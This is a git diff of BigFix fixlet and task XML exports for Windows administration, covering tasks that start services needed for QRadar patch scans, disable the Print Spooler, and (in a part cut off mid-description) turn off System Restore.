index 643ff801d..72d8a3934 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start and Enable Windows Service
-  ID       : 26632
-  Author   : AramE
-  Domain   : BESC
-  Imported : 2019-06-20T10:53:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start and Enable Windows Service</Title>
-    <Description>This task will start (and if necessary enable) a given Windows Service. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-06-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 14 Jun 2019 15:37:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Which service?
-action parameter query &quot;svcname&quot; with description &quot;Please enter the service name to start:&quot;
-
-// Is Service Disabled?
-if {start type of service (parameter &quot;svcname&quot; of action) = &quot;disabled&quot;}
-
-	// Enable service (set Start Type to Automatic)
-	waithidden cmd /C sc config {parameter &quot;svcname&quot; of action} start= auto
-
-endif
-
-// Start service
-waithidden cmd /C sc start {parameter &quot;svcname&quot; of action}</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start and Enable Windows Service
+  ID       : 26632
+  Author   : AramE
+  Domain   : BESC
+  Imported : 2019-06-20T10:53:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start and Enable Windows Service</Title>
+    <Description>This task will start (and if necessary enable) a given Windows Service. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-06-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 14 Jun 2019 15:37:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Which service?
+action parameter query &quot;svcname&quot; with description &quot;Please enter the service name to start:&quot;
+
+// Is Service Disabled?
+if {start type of service (parameter &quot;svcname&quot; of action) = &quot;disabled&quot;}
+
+	// Enable service (set Start Type to Automatic)
+	waithidden cmd /C sc config {parameter &quot;svcname&quot; of action} start= auto
+
+endif
+
+// Start service
+waithidden cmd /C sc start {parameter &quot;svcname&quot; of action}</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes
index c4a0e0b6c..ee677d0ea 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start the DCOM Launcher Service
-  ID       : 9282
-  Author   : gearoid
-  Domain   : BES
-  Imported : 2016-03-15T05:52:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start the DCOM Launcher Service</Title>
-    <Description><![CDATA[<P>Starts the DCOM Launcher Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
-<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists service &quot;DcomLaunch&quot; whose (state of it != &quot;Running&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Mar 2016 12:35:56 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-waithidden net start DcomLaunch</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the DCOM Launcher Service
+  ID       : 9282
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T05:52:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the DCOM Launcher Service</Title>
+    <Description><![CDATA[<P>Starts the DCOM Launcher Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;DcomLaunch&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:35:56 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start DcomLaunch</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes
index ad1653637..31960e44e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start the RPC EndPoint Mapper Service
-  ID       : 9283
-  Author   : gearoid
-  Domain   : BES
-  Imported : 2016-03-15T06:01:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start the RPC EndPoint Mapper Service</Title>
-    <Description><![CDATA[<P>Starts the RPC Endpoint Mapper Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
-<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists service &quot;RpcEptMapper&quot; whose (state of it != &quot;Running&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Mar 2016 12:29:36 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-waithidden net start rpcss</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the RPC EndPoint Mapper Service
+  ID       : 9283
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:01:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the RPC EndPoint Mapper Service</Title>
+    <Description><![CDATA[<P>Starts the RPC Endpoint Mapper Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RpcEptMapper&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:29:36 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start rpcss</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes
index 53e3e2eb0..ee04aa44f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start the Remote Procedure Call Service
-  ID       : 9284
-  Author   : gearoid
-  Domain   : BES
-  Imported : 2016-03-15T06:02:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start the Remote Procedure Call Service</Title>
-    <Description><![CDATA[<P>Starts the Remote Procdure Call Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
-<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists service &quot;RpcSs&quot; whose (state of it != &quot;Running&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Mar 2016 12:25:32 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-waithidden net start rpcss</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Remote Procedure Call Service
+  ID       : 9284
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Remote Procedure Call Service</Title>
+    <Description><![CDATA[<P>Starts the Remote Procdure Call Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RpcSs&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:25:32 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start rpcss</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes
index d9affc135..5da754e26 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start the Remote Registry Service
-  ID       : 9286
-  Author   : gearoid
-  Domain   : BES
-  Imported : 2016-03-15T06:02:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start the Remote Registry Service</Title>
-    <Description><![CDATA[<P>Starts the Remote Registry Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
-<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists service &quot;RemoteRegistry&quot; whose (state of it != &quot;Running&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Mar 2016 12:07:46 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-waithidden net start RemoteRegistry</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Remote Registry Service
+  ID       : 9286
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Remote Registry Service</Title>
+    <Description><![CDATA[<P>Starts the Remote Registry Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RemoteRegistry&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:07:46 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start RemoteRegistry</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes
index 5d748476d..35a681495 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Start the Windows Management Instrumentation Service
-  ID       : 9285
-  Author   : gearoid
-  Domain   : BES
-  Imported : 2016-03-15T06:02:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Start the Windows Management Instrumentation Service</Title>
-    <Description><![CDATA[<P>Starts the Windows Management Instrumentation Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
-<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists service &quot;Winmgmt&quot; whose (state of it != &quot;Running&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Mar 2016 12:20:57 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-waithidden net start winmgmt</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Windows Management Instrumentation Service
+  ID       : 9285
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Windows Management Instrumentation Service</Title>
+    <Description><![CDATA[<P>Starts the Windows Management Instrumentation Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;Winmgmt&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:20:57 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start winmgmt</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes b/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes
index 2fcd618fe..48c5a2ce2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Stop and disable Print Spooler service
-  ID       : 26914
-  Author   : jeffschafer
-  Domain   : BESC
-  Imported : 2022-03-10T14:12:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Stop and disable Print Spooler service</Title>
-    <Description><![CDATA[<B><FONT size=2 face=Arial><FONT size=2 face=Arial>
-<P dir=ltr>This fixlet will handle a few cases: </P>
-<P dir=ltr>1. If print spooler service is running and not set to disabled, it will stop it first then set service to disabled </P>
-<P dir=ltr>2. If print spooler is not running but service is not set to disabled, it will simply set service to disabled  </P></B></FONT></FONT>]]></Description>
-    <Relevance>(exists service &quot;spooler&quot; and not exists start types whose(it = &quot;disabled&quot;) of services &quot;spooler&quot;) and (name of operating system as lowercase contains &quot;win&quot;)</Relevance>
-    <Source>Bigfix AVP- Jeff Schafer</Source>
-    <SourceReleaseDate>2022-03-10</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 10 Mar 2022 22:09:18 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exists running service whose (service name of it as lowercase = "spooler")}
-delete __appendfile
-delete netquiet.bat
-appendfile @ECHO OFF
-appendfile start "" /min /b net %1 %2 /y > NUL 2> NUL
-move __appendfile netquiet.bat
-waithidden "{pathname of client folder of site "BESSupport" & "\RunQuiet.exe"}" netquiet.bat stop "spooler"
-delete netquiet.bat
-waithidden cmd /C sc config spooler start= disabled
-else if {exists not running service "spooler" and not exists start type whose(it = "disabled") of service "spooler"}
-waithidden cmd /C sc config spooler start= disabled]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Stop and disable Print Spooler service
+  ID       : 26914
+  Author   : jeffschafer
+  Domain   : BESC
+  Imported : 2022-03-10T14:12:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Stop and disable Print Spooler service</Title>
+    <Description><![CDATA[<B><FONT size=2 face=Arial><FONT size=2 face=Arial>
+<P dir=ltr>This fixlet will handle a few cases: </P>
+<P dir=ltr>1. If print spooler service is running and not set to disabled, it will stop it first then set service to disabled </P>
+<P dir=ltr>2. If print spooler is not running but service is not set to disabled, it will simply set service to disabled  </P></B></FONT></FONT>]]></Description>
+    <Relevance>(exists service &quot;spooler&quot; and not exists start types whose(it = &quot;disabled&quot;) of services &quot;spooler&quot;) and (name of operating system as lowercase contains &quot;win&quot;)</Relevance>
+    <Source>Bigfix AVP- Jeff Schafer</Source>
+    <SourceReleaseDate>2022-03-10</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Mar 2022 22:09:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exists running service whose (service name of it as lowercase = "spooler")}
+delete __appendfile
+delete netquiet.bat
+appendfile @ECHO OFF
+appendfile start "" /min /b net %1 %2 /y > NUL 2> NUL
+move __appendfile netquiet.bat
+waithidden "{pathname of client folder of site "BESSupport" & "\RunQuiet.exe"}" netquiet.bat stop "spooler"
+delete netquiet.bat
+waithidden cmd /C sc config spooler start= disabled
+else if {exists not running service "spooler" and not exists start type whose(it = "disabled") of service "spooler"}
+waithidden cmd /C sc config spooler start= disabled]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes b/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes
index 2c28062db..ca8bb85f7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes	
@@ -1,247 +1,247 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : System Restore Off / Disable
-  ID       : 20643
-  Author   : Sean
-  Domain   : BESC
-  Imported : 2016-05-17T07:54:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>System Restore Off / Disable</Title>
-    <Description><![CDATA[<DIV style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: #4f81bd 1pt solid; PADDING-BOTTOM: 4pt; PADDING-TOP: 0in; PADDING-LEFT: 0in; BORDER-LEFT: medium none; PADDING-RIGHT: 0in; mso-element: para-border-div; mso-border-bottom-themecolor: accent1">
-<P class=MsoTitle style="TEXT-ALIGN: center; MARGIN: 0in 0in 15pt" align=center><SPAN style="FONT-SIZE: 20pt"><FONT color=#17365d><FONT face=Cambria>Developer Documentation for System Restore Off<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></SPAN></P></DIV>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Author(s):</B> Sean Seymour<o:p></o:p></FONT></FONT></P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Document Version:</B> 2.3<o:p></o:p></FONT></FONT></P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Last Updated:</B> 04/05/2016<o:p></o:p></FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Overview<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>System Restore has been found to cause issues with disk space on certain devices and issues with restoring old versions of programs on other devices. This package fixes the System Restore state if it has been disabled incorrectly, then deletes all system restore points and disables it correctly. On Windows 7 devices, it also disables the built in scheduled task that periodically creates restore points.<o:p></o:p></FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Affected Device(s)<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Any device with System Restore Information &gt; 10 MB<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri>Any Win7+ device that has registry data or scheduled tasks indicating System Restore is active (details below)</FONT></FONT></P>
